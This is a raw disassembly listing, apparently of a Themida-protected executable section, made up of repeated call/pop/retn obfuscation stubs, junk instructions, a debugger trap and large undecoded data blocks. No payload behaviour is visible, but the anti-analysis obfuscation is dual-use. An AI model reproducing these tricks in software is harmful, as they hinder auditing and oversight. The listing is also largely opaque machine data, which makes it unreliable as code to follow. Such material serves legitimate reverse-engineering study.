24448104h, 1C04h dd 0C3564600h, 0FA9E3FA4h, 96369BF0h, 1985FF9Eh, 6A07FA07h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0D5D8C351h, 3EC741BCh, 8900E76Fh, 0FA2405BDh dd 19B5FF07h, 6A07FA07h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 76E8C355h, 14F44C5Dh dd 0FFAF62BEh, 1995FF36h, 6A07FA10h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 59E3C355h dd 0B890D305h, 12345678h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0B1C35545h, 6830F37h, 89000000h, 0FA01F195h dd 0DA9D8D07h, 0E907FE08h, 0FFFFF884h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 5AC35040h, 66C18B5Ch, 4EBF08Bh dd 0 dd 14418D01h, 8D8907FAh, 7FA0A9Dh, 199858Dh, 0F68107FAh dd 3ED28DCCh, 60525090h, 8C0Fh, 0BB660000h, 0F61DA4Eh dd 8E831h, 66C0000h, 0AF66549Ch, 870F75B7h, 0 ; --------------------------------------------------------------------------- pop edi pop edx pop eax push eax mov esi, 450F6C7Bh nop push 0 push edx call sub_5C3DCD and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3DCD proc near ; CODE XREF: Themida_:005C3DC5p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5C3DCD endp ; --------------------------------------------------------------------------- and al, 0B8h pop edi mov dh, 31h mov esi, edx push 0 push 0 push ebx call sub_5C3DF1 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3DF1 proc near ; CODE XREF: Themida_:005C3DE9p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5C3DF1 endp ; --------------------------------------------------------------------------- cmp esi, esp sub esi, [ebp+7FA2701h] push 0 push 0 push edx call sub_5C3E16 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3E16 proc near ; CODE XREF: Themida_:005C3E0Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5C3E16 endp ; --------------------------------------------------------------------------- mov ds:9C2CAFEh, al movzx edi, dx lea eax, [ebp+7FE0A95h] add [ebp+7FA1871h], edi add eax, 5 mov [ebp+7FA315Dh], ecx push eax mov [esp], eax mov di, dx ja loc_5C3E5D pusha mov edx, 413BE7F1h xor ecx, 1951772Ah popa loc_5C3E5D: ; CODE XREF: Themida_:005C3E4Aj push 0 jmp loc_5C3E76 ; --------------------------------------------------------------------------- dd 0E852CFE0h, 4FF08E1Fh, 6BA8B6B4h, 0E887DA5Bh db 0FAh, 1Ah ; --------------------------------------------------------------------------- loc_5C3E76: ; CODE XREF: Themida_:005C3E5Fj push 0 jl loc_5C3E82 mov di, 0A569h loc_5C3E82: ; CODE XREF: Themida_:005C3E78j call dword ptr [ebp+7FA2BE9h] mov esi, 4E5C33A8h lea ebx, [ebp+7FDD711h] call sub_5C3EA1 lodsd and [ecx+68h], edx inc ebp test [edx], bl movsb xchg eax, ebp ; =============== S U B R O U T I N E ======================================= sub_5C3EA1 proc near ; CODE XREF: Themida_:005C3E93p pusha or esi, [ebp+7FA1E9Dh] jo $+6 popa pop esi call ebx ; _iob inc dword ptr [ebp+7FA1049h] push 0 push edi call sub_5C3EC3 and [edi-3Dh], bl sub_5C3EA1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5C3EC3 proc near ; CODE XREF: sub_5C3EA1+1Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5C3EC3 endp ; --------------------------------------------------------------------------- db 38h ; --------------------------------------------------------------------------- mov esi, eax jmp loc_5C4D60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5C47E5 loc_5C3EDB: ; CODE XREF: sub_5C47E5+56Dj call $+5 pop ebp sub ebp, 7FE0A9Fh mov esi, [ebp+7FA2459h] cmp dword ptr [ebp+7FA0719h], 7D0h jbe loc_5C40BF push 0 push ebp call sub_5C3F08 and [ebp-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5C47E5 ; =============== S U B R O U T I N E ======================================= sub_5C3F08 proc near ; CODE XREF: sub_5C47E5-8E5p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5C3F08 endp ; --------------------------------------------------------------------------- dd 2C5908E2h, 0CDC7667Ch, 9D01953Eh, 7FA0059h, 0DA59D8Bh dd 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 1B3CC8C3h, 0AADAFBCh, 0E38169h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 94C6C351h, 779D1B4Bh, 0FDB0BEBh, 9D85h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0D697CEF4h, 0FAE9575h, 68Ah, 21B58B00h, 0B07FA20h, 0FA2DE9B5h dd 37BD8307h, 7FE09h, 1C840Fh, 0CE90000h, 0B000000h, 7AD181B7h dd 0B267E84Ah, 0E90A836Ah, 89h, 2035B58Bh, 85C707FAh, 7FE0937h dd 1, 0BE9h, 9BFCEE00h, 7DA5BDA2h, 94D0B25h, 64E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0DB0CA3D9h, 85C75C7Ah, 7FE0937h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5C4033 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4033 proc near ; CODE XREF: Themida_:005C402Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5C4033 endp ; --------------------------------------------------------------------------- db 0AEh dd 0E7ADFA6Dh, 12E9BD6Eh, 0D4000000h, 6363A5C3h, 200DBB01h dd 20ED1585h, 347EE2A5h, 0A59D8D44h, 6A07FA0Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0F6FAC357h, 0C8FA464Dh, 0F94660Bh, 2381F1B7h, 0FFFFFEFFh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 25C35040h dd 0FEFD82C7h, 19B52973h, 0F507FA02h ; --------------------------------------------------------------------------- mov si, di ; START OF FUNCTION CHUNK FOR sub_5C47E5 loc_5C40BF: ; CODE XREF: sub_5C47E5-8EEj mov bx, ds test bl, 4 jz loc_5C4138 pusha jmp loc_5C40E3 ; END OF FUNCTION CHUNK FOR sub_5C47E5 ; --------------------------------------------------------------------------- db 61h, 1Ah, 1Fh dd 9D937A80h, 0BDC2367Fh, 907BF05h db 0F2h, 94h, 0C7h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5C47E5 loc_5C40E3: ; CODE XREF: sub_5C47E5-719j jmp loc_5C40FA ; END OF FUNCTION CHUNK FOR sub_5C47E5 ; --------------------------------------------------------------------------- dd 0BC32E7C1h, 104C3994h, 260B08F4h, 53800E8Dh db 4Ah, 0F7h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5C47E5 loc_5C40FA: ; CODE XREF: sub_5C47E5:loc_5C40E3j popa mov esi, 391FAB10h call dword ptr [ebp+7FA10A5h] mov edi, [ebp+7FA1CF1h] nop call near ptr loc_5C4123+2 mov byte ptr [esi+eax*4], 4Ah sub al, 87h sbb al, [ebp-2] or ecx, [ebp+ebp*2+7BABD140h] push esi loc_5C4123: ; CODE XREF: sub_5C47E5-6D8p mov ds:0F98B666Ah, al pop esi push eax pusha pusha mov si, 2857h mov cx, dx popa push ebx pop eax popa nop loc_5C4138: ; CODE XREF: sub_5C47E5-720j jmp loc_5C4598 ; END OF FUNCTION CHUNK FOR sub_5C47E5 ; --------------------------------------------------------------------------- pusha xor cx, 8B4Fh mov [ebp+7FA29BDh], edx popa mov al, 0 push 0 push esi call sub_5C4157 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4157 proc near ; CODE XREF: Themida_:005C414Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5C4157 endp ; --------------------------------------------------------------------------- db 9Bh dd 431F11Ah, 70E61C24h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 1AC35242h, 0F508EE3Ah, 11584358h, 80FDD3BFh dd 6671E40Fh, 289FCF81h, 89D8B60Fh, 0FA187D8Dh, 0BAF28B07h dd 6, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h dd 84C35343h, 0F0B0FA5Eh, 0D9958931h, 8B07FA01h, 50006AC3h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 673D007h, 89AE7029h, 0FA2655B5h, 4E8C107h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1DC35646h, 0FB2DB8B2h dd 81F45E76h, 0E570DCC6h, 0E2F76613h, 21018D89h, 0D82B07FAh dd 0CF59D29h, 505007FAh, 0FB31BF52h, 310F4185h, 8B0F60h dd 0E9000000h, 0Ch, 3C607D6Eh, 0D38E80F3h, 475F0F49h, 89585A61h dd 6A241Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0EC7788C3h, 0D8FE40D4h, 19B5FFB5h, 6A07FA07h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 77DCC356h, 35BD8B30h, 107FA25h, 0FA2099BDh dd 1995FF07h, 307FA10h, 0FA1F9DB5h, 0E900B007h, 6, 2FFFF5D9h dd 70E6D6B9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0BAC35545h, 18FB1F3Bh, 59589BEh, 0E407FA01h, 8B666071h dd 61CA8BDFh, 830F613Ch, 28Ch, 11E9h, 208D500h, 3087F21Ah dd 9690F5h, 3A3C5938h, 0B60F8E30h, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0B509551Fh dd 7FA16BDh, 2D59BD89h, 6BA07FAh, 1000000h, 0FA2C25B5h dd 6AC38B07h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 690DC351h, 657289E5h, 0AE913h dd 666B0000h, 0AD0FE774h, 238B746Ah, 2904E8C1h, 0FA08318Dh dd 0E2F76607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0F9C35747h, 3860Fh, 8B660000h, 6AD82BF2h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 469DC351h, 0B439EC4Ah, 8B6E35C8h, 6A58F7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6F5B7EC3h dd 9E93Ah, 0B750000h, 699BB7Dh, 2BEEF067h, 7D880FD8h, 89000001h dd 0FA1D79BDh, 7B907h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 8AED87C3h, 0AC8D2CF8h dd 0BEEAC323h, 32EB96E7h, 6E8h, 964CF700h, 295C6E64h, 0FA079185h dd 0C1835F07h, 89B58B00h, 2907FA00h, 0FA204585h, 0FD93B07h dd 11F86h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0FC06CC5Dh, 3E9C0F3h, 0FA0E99B5h dd 75B52307h, 8B07FA15h, 0FA16EDBDh, 0D98C6607h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C3C35141h, 0E9B58BE0h dd 0BF07FA2Dh, 1B773E14h, 0F04C1F6h, 0B084h, 7AD68100h dd 0FF4A10CCh, 0FA10A595h, 9D896007h, 7FA1135h, 2AB9B589h dd 5B6107FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 89C35545h, 2BF0B70Fh, 0BE8C3h, 87D20000h, 44058050h dd 70056443h, 3D5FF90Ah, 834h, 57860Fh, 0F600000h, 686h dd 0F9BD2900h, 0E907FA0Ch, 14h, 37832D30h, 15FB7A18h, 39A92E03h dd 85EF15CFh, 0F61E81DAh, 32E961h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 41F32BC3h dd 63AA4ACCh, 89B9D33Eh, 0FA00E5BDh, 66C08B07h, 44C8EE81h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5C47E5 loc_5C4598: ; CODE XREF: sub_5C47E5:loc_5C4138j mov eax, ebx mov ebx, eax movzx esi, bx mov dword ptr [ebp+7FA1E89h], 76CFC771h mov [ebp+7FA1E25h], esi mov [ebp+7FA1151h], edx mov eax, eax pusha push edi mov ebx, 192F6CB4h pop eax push esi sbb edi, 162C4FC6h pop edx popa cmp dword ptr [ebp+7FA0719h], 7D0h jnz loc_5C462E push 0 push ebx call sub_5C45E3 and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5C47E5 ; =============== S U B R O U T I N E ======================================= sub_5C45E3 proc near ; CODE XREF: sub_5C47E5-20Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5C45E3 endp ; --------------------------------------------------------------------------- db 72h dd 4B45593h, 0BDBD29F9h, 0F07FA01h, 178Fh, 0BE800h, 9A630000h dd 37B4DE58h, 4CBBBA13h, 5985899Ah, 5E07FA27h, 71985FFh dd 880F07FAh, 6, 25BDB58Bh ; --------------------------------------------------------------------------- cli pop es ; START OF FUNCTION CHUNK FOR sub_5C47E5 loc_5C462E: ; CODE XREF: sub_5C47E5-213j push dword ptr [ebp+7FA0719h] movsx edi, si call dword ptr [ebp+7FA1019h] mov esi, [ebp+7FA2665h] nop inc eax push 0 push ebx call sub_5C4650 and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5C47E5 ; =============== S U B R O U T I N E ======================================= sub_5C4650 proc near ; CODE XREF: sub_5C47E5-19Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5C4650 endp ; --------------------------------------------------------------------------- xchg eax, edx jno short loc_5C46B2 scasd xchg dl, [ebx-10h] pop edx fbstp tbyte ptr [esi-77h] lea esp, [ebp+16h] cli pop es mov esi, [ebp+7FA1665h] cmp dword ptr [ebp+7FA2705h], 0 jz loc_5C47BE push 0 push esi call sub_5C468E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C468E proc near ; CODE XREF: Themida_:005C4686p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5C468E endp ; --------------------------------------------------------------------------- dw 9F3Bh dd 8E64B6C8h, 218D892Fh, 0E907FA27h, 0Ah ; --------------------------------------------------------------------------- sahf push eax loc_5C46B2: ; CODE XREF: Themida_:005C4661j icebp out dx, eax mov eax, ds:9003B74Dh xor al, 83h mov ebp, 7FA2C05h add [edi], cl test dh, bh ; --------------------------------------------------------------------------- dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0FC2C353h, 48Ah, 0E8BF6600h, 6E8608Ah dd 14000000h, 0F7D59542h, 0BE900h, 5BA80000h, 0F2A69861h dd 0D5BC4BBh, 7E95F40h, 5000000h, 657EF57Eh, 0FF610E57h dd 0FA270595h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 0B3B5DD5Eh, 9D5AFEB2h dd 1DD98D89h, 0C00B07FAh, 70840Fh, 6A0000h, 3E853h, 5B200000h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop ebx loc_5C475A: ; CODE XREF: Themida_:005C47D6j mov [esp+4], ebx add dword ptr [esp+4], 18h inc ebx push ebx retn ; --------------------------------------------------------------------------- db 1Fh, 0E6h, 26h dd 0BD8BE532h, 7FA2E51h, 0DE8h, 0DCC0E000h, 5513411h, 0E289F59Bh dd 9D8954BAh, 7FA2991h, 668D8D5Fh, 8907FA4Fh, 0FA2E6DBDh dd 5B807h, 8B0F0000h, 12h, 0DE9h, 797F4600h, 79F41F6Eh dd 77576485h, 0E1FFFBC5h, 206DBD0Bh ; --------------------------------------------------------------------------- cli pop es loc_5C47BE: ; CODE XREF: Themida_:005C467Dj cmp dword ptr [ebp+7FA1F25h], 0 jz loc_5C4D50 jb loc_5C47EC call near ptr sub_5C47E5 loopne loc_5C475A push eax cmc mov al, 0A5h repne cmp [ebx], bh test [esi+2ECFEC20h], ebx ; =============== S U B R O U T I N E ======================================= sub_5C47E5 proc far ; CODE XREF: Themida_:005C47D1p ; FUNCTION CHUNK AT 005C3EDB SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005C40BF SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005C40E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005C40FA SIZE 00000043 BYTES ; FUNCTION CHUNK AT 005C4598 SIZE 0000004B BYTES ; FUNCTION CHUNK AT 005C462E SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005C4D50 SIZE 00000007 BYTES mov esi, [ebp+7FA1EB1h] pop edi loc_5C47EC: ; CODE XREF: Themida_:005C47CBj cmp dword ptr [ebp+7FA2C05h], 0 jz loc_5C4D50 mov edi, 96A3B83h lea ecx, [ebp+7FA1D71h] call sub_5C481B adc dword ptr [edi], 0FFFFFFE4h retf sub_5C47E5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 18h, 0AEh, 27h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0CEh, 0E4h, 0D0h dd 23395576h db 7Eh, 8Bh, 0DDh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5C481B proc near ; CODE XREF: sub_5C47E5+1Fp jmp sub_5C482A sub_5C481B endp ; --------------------------------------------------------------------------- dd 0DE5F101Dh, 8ADAA4B1h db 0EFh, 60h ; =============== S U B R O U T I N E ======================================= sub_5C482A proc near ; CODE XREF: sub_5C481Bj pop esi mov dword ptr [ecx], 44B27C84h jle loc_5C483E jge loc_5C483E cmc loc_5C483E: ; CODE XREF: sub_5C482A+7j ; sub_5C482A+Dj add dword ptr [ecx], 1499CFCBh mov dword ptr [ecx+4], 0CE706B34h push 0 push eax call sub_5C4856 and [eax-3Dh], bl sub_5C482A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5C4856 proc near ; CODE XREF: sub_5C482A+24p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5C4856 endp ; --------------------------------------------------------------------------- pop es int 3 ; Trap to Debugger ror byte ptr [esi+164AF0E3h], 1 xor al, 23h mov ch, 6Dh or bh, dl pop es mov esi, 1425254Ch add dword ptr [ecx+4], 31D6D710h and di, 498Ch push 0 push 0 push ebp call sub_5C4893 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4893 proc near ; CODE XREF: Themida_:005C488Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5C4893 endp ; --------------------------------------------------------------------------- db 7Fh dd 0EF949A27h, 1996CB4Ah, 1D71858Dh, 96007FAh, 0FA1C1995h dd 3810F07h, 80000000h, 5061EBD8h, 5E8h, 96CEC500h, 26BEC966h dd 5E58D64Fh, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 7218C356h, 5880Fh dd 81660000h, 168A5EEh, 0FA15859Dh, 2595FF07h, 8B07FA1Fh dd 0FA3455BDh, 718D8D07h, 107FA1Dh, 0FA0851BDh, 1C707h dd 89000000h, 0FA2BD195h, 65BD8907h, 0C707FA1Eh, 441h dd 12E90000h, 5B000000h, 0E277CE94h, 79CACFE8h, 0A2EB203h dd 3D8496ACh, 0FC00B95h, 6984h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 990C497Eh dd 6840F50h, 8B000000h, 0FA1611B5h, 8D8D5F07h, 7FA4F66h dd 0AE58D29h, 5B807FAh, 0FF000000h, 57006AE1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 7F079524h dd 76BA470h, 0AD8589h, 8D8D07FAh, 7FA1D71h, 0C7FAB70Fh dd 0AA727C01h, 56006A44h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 9D892943h, 7FA0BD5h, 181F28Bh dd 1499CFCBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0B8C35747h, 0F016F08h, 99BD8BA7h, 0C707FA25h, 753C0441h dd 6ACE78h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 4E89C9C3h, 75FA6523h, 9D89D501h, 7FA01A5h dd 10044181h, 6A31D6D7h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 8DF88BA1h, 0FA1D7185h dd 0F7816607h, 0BD8B0858h, 7FA2C01h, 89F38B50h, 95892404h dd 7FA0E65h, 1F2595FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 2BA192C3h, 0FA20F5B5h dd 718D8D07h, 6007FA1Dh, 1D09B589h, 8B6607FAh, 1C761DAh dd 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5C4ADF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4ADF proc near ; CODE XREF: Themida_:005C4AD7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5C4ADF endp ; --------------------------------------------------------------------------- db 0F0h ; --------------------------------------------------------------------------- push ecx mov [esi], esp and edi, ebp adc eax, 20F5B58Bh cli pop es mov dword ptr [ecx+4], 0 cld or eax, eax jz loc_5C4B62 cmc lea ecx, [ebp+7FA4F66h] push 0 push esi call sub_5C4B1E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4B1E proc near ; CODE XREF: Themida_:005C4B16p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5C4B1E endp ; --------------------------------------------------------------------------- dw 838Dh dd 8166DAD7h, 817B0DC7h, 0D47087E6h, 5B816h, 8E80000h dd 0BF000000h, 52543855h, 89F3864Fh, 0FA260D9Dh, 0E1FF5E07h dd 5E9h, 2FBBFB00h db 5, 29h ; --------------------------------------------------------------------------- loc_5C4B62: ; CODE XREF: Themida_:005C4B06j lea ecx, [ebp+7FA1D71h] mov dword ptr [ecx], 54CA95A5h push 0 push edi call sub_5C4B79 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4B79 proc near ; CODE XREF: Themida_:005C4B71p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5C4B79 endp ; --------------------------------------------------------------------------- db 97h, 0E8h, 2Ah ; --------------------------------------------------------------------------- retf 0CF76h ; --------------------------------------------------------------------------- or [ebx], cl mov ebp, 7FA0B3Dh add dword ptr [ecx], 1499CFCBh or edi, 1BB8F949h mov dword ptr [ecx+4], 0CE5F5969h push 0 push ecx call sub_5C4BB4 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4BB4 proc near ; CODE XREF: Themida_:005C4BACp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5C4BB4 endp ; --------------------------------------------------------------------------- dd 3C2C1963h, 2F86C39Fh, 27BF36E6h, 8179AE1Bh, 0D7100441h dd 6A31D6h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 6B2147C3h, 6AA0C2h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0D1C35747h, 44AC80E1h, 9E9A5C8h dd 8C000000h, 9A277F14h, 0CB4AEF94h, 1D71858Dh, 6A07FAh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 673DCEC3h, 52250A71h, 0BF66A776h, 6690AD37h, 50FD55BFh dd 66605190h, 6C19DF81h, 0FF5F61F5h, 0FA1F2595h, 55BD3307h dd 8D07FA16h, 0FA1D718Dh, 830F07h, 89000000h, 0FA11AD95h dd 1C707h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 29A9C356h, 54A47BC1h, 441C7AEh dd 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5C4CC3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4CC3 proc near ; CODE XREF: Themida_:005C4CBBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5C4CC3 endp ; --------------------------------------------------------------------------- db 33h ; --------------------------------------------------------------------------- retn 1F18h ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- cmp eax, 338BE4D7h movsx edi, di or eax, eax jz loc_5C4D50 push 0 push ecx call sub_5C4CF3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4CF3 proc near ; CODE XREF: Themida_:005C4CEBp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5C4CF3 endp ; --------------------------------------------------------------------------- db 29h ; --------------------------------------------------------------------------- jnb loc_5C4D10 mov [ebp+7FA279Dh], eax loc_5C4D10: ; CODE XREF: Themida_:005C4D04j lea ecx, [ebp+7FA4F66h] mov [ebp+7FA2075h], esi mov eax, 5 push 0 push edi call sub_5C4D2C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4D2C proc near ; CODE XREF: Themida_:005C4D24p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5C4D2C endp ; --------------------------------------------------------------------------- dd 7D49A113h, 848AA61h, 0FBBF661Fh, 66E1FF43h, 8750DE81h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5C47E5 loc_5C4D50: ; CODE XREF: Themida_:005C47C5j ; sub_5C47E5+Ej ... add ecx, edx jmp loc_5C3EDB ; END OF FUNCTION CHUNK FOR sub_5C47E5 ; --------------------------------------------------------------------------- mov si, di add esi, 396AC225h loc_5C4D60: ; CODE XREF: Themida_:005C3ED6j mov eax, ecx push 0 push edx call sub_5C4D6D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4D6D proc near ; CODE XREF: Themida_:005C4D65p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5C4D6D endp ; --------------------------------------------------------------------------- jb short loc_5C4DE6 cmp al, 88h mov dl, 0F5h jmp short loc_5C4D89 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_5C4D89: ; CODE XREF: Themida_:005C4D83j push 0 push ecx call sub_5C4D94 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4D94 proc near ; CODE XREF: Themida_:005C4D8Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5C4D94 endp ; --------------------------------------------------------------------------- dd 0E387BBD3h, 7448463Bh, 0F8BF0FD1h, 24B1BD8Bh, 0BF6607FAh dd 858D3993h, 7FA0199h, 11E9h, 39F7A400h, 0F2DD9Dh, 0ABEAC504h dd 44AAB53Ah, 89509DBEh, 95892404h, 7FA1741h, 6A006Ah db 50h, 0E8h ; --------------------------------------------------------------------------- loc_5C4DE6: ; CODE XREF: Themida_:005C4D7Dj add eax, [eax] ; --------------------------------------------------------------------------- dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 9A19C9C3h, 0F4E3B2D6h, 6E8AA9Dh, 94000000h, 9F6EF9FCh dd 0E68166C5h, 6A5E7B65h, 0BE900h, 4B850000h, 546A8DCAh dd 87F8CB84h, 0E8858DD6h, 6A07FE1Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0AD49C355h dd 6605C083h, 50831BBFh, 489F28Bh, 6860F24h, 8B000000h dd 0FA0EA9B5h, 6A006A07h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 850CC357h, 1CB9BD8Bh dd 0B58B07FAh, 7FA103Dh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0F75A98C3h, 0F37CC71Fh dd 94EF8140h, 8902BB2Fh, 0FA011985h, 0E995FF07h, 6A07FA2Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0C101C353h, 8DFEBF0Fh, 0FDD7119Dh, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 